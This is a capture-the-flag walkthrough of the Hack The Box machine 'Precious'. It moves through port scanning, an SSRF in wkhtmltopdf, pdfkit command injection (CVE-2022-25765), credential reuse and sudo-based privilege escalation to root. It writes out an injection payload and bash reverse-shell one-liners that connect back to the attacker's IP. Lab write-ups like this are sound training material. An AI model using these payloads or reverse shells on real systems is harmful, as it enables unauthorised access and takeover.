Hackthebox - Precious

Precious

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -O -sV -p- 10.10.11.189
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 08:58 EST
Nmap scan report for 10.10.11.189
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds
  • Let's change our /etc/hosts file to add the host precious.htb

HTTP

  • We land here when going to http://precious.htb/

landing page

Gobuster

Nothing here

Burp repeater

Playing around with burp we find that we are not able to generate a pdf with an url but if we try special chars we can generate a pdf. See this one for example generate pdf So it is blank at the moment but still it is a start. We can see that it uses wkhtmltopdf version 0.12.6 We can google it to see if it has known exploits We find this cve: CVE-2022-35583arrow-up-right see also herearrow-up-right and this blogarrow-up-right seems worth reading. We have an ssrf vulnerability. If we set up a simple http server with python we are able to see the requests coming. Here is burp with our ip to request burp Here is the traffic in our http server http serv Let's try to go further now that we can see that we have a possible interaction. Ideally we would like to be able to execute code in the server to gain access. While looking around I stumbled on this articlearrow-up-right that is really good. For the last part of the article we need a webserver that can handle php. We can use php because it has a built in webserver. This should do the trick php -S 127.0.0.1:80 -t . Let's try the snippet from the article

Now we just need to put this in our html file

So to recap we have burp repeater that will query our server to fetch the html file. The html will then query our php that will query the etc/passwd from our target. Let's try this. I am having troube with the builtin php server, so I am just going to use Apache2.

  • sudo systemctl enable apache2 to enable it

  • sudo systemctl start apache2 to start it

  • If we go to http://localhost we should see the Apache default page like this apache

Now we just need to move or copy our php and html files to /var/www/html We are almost there, except that the iframe does not show the file we want it prints the php instead. prints php in pdf It is probably because the remote server does not handle php. We did see that it uses ruby. Let's see if we have something similar in ruby.

SPOILER ALERT: None of this worked. But I left it here because the articles were interesting and it is an overview of the process when working on CTF. You go through a lot of rabbit holes.

  • Turns out that I saw after it is also using pdfkit. Let's have a look at exploit related to pdfkit v0.8.6

  • We find a CVE for this version of pdfkit CVE-2022-25765

  • This pocarrow-up-right is interesting

  • Let's try http://10.10.14.4/?name=#{'%20sleep 5'}

  • This seems to work burp

  • There seem to be a delay for the server to respond.

  • Let's try to get a shell using this method

  • We set a listener rlwrap nc -lvp 4444

  • I tried the following commands from my repeater /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1 and bash -i >& /dev/tcp/10.10.14.4/4444 0>&1 but was not successful

  • We need a symbol safe shell, we can find one herearrow-up-right bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' burp request

  • It works and we get a shell shell

  • We need to move to the user because we got ruby. if we ls on /home we also have user henry. This is the one we should move to.

Lateral movement

  • Here are interestin files to look at that we found with linpeas

  • Indeed the file .bundle/config contains a password for Henry

  • We can then su henry and access the user via the password we found.

  • we can grab the user flag

Privilege escalation

  • Let's ssh as henry ssh henry@10.10.11.189

  • We run linpeas again with our new user. Here are things worth investigating

  • The sudo -l seems interesting sudo -l

Here is the content of the update_dependencies.rb file

  • If we launch the command we get this error yaml not found

  • This means that it is looking for the dependencies. We could create a malicious yml file and put it in Henri's home. The path is not defined in the script so it will look in Henri's home. Let's hope that it works...

  • We can try this script that I found herearrow-up-right

  • So to recap:

    • I used the code above and put it in file named dependencies.yml in Henri's home folder.

    • I set a listener on port 4444

    • Then when I launched sudo /usr/bin/ruby /opt/update_dependencies.rb I got a root shell

root shell
  • We can grab the root flag.

Last updated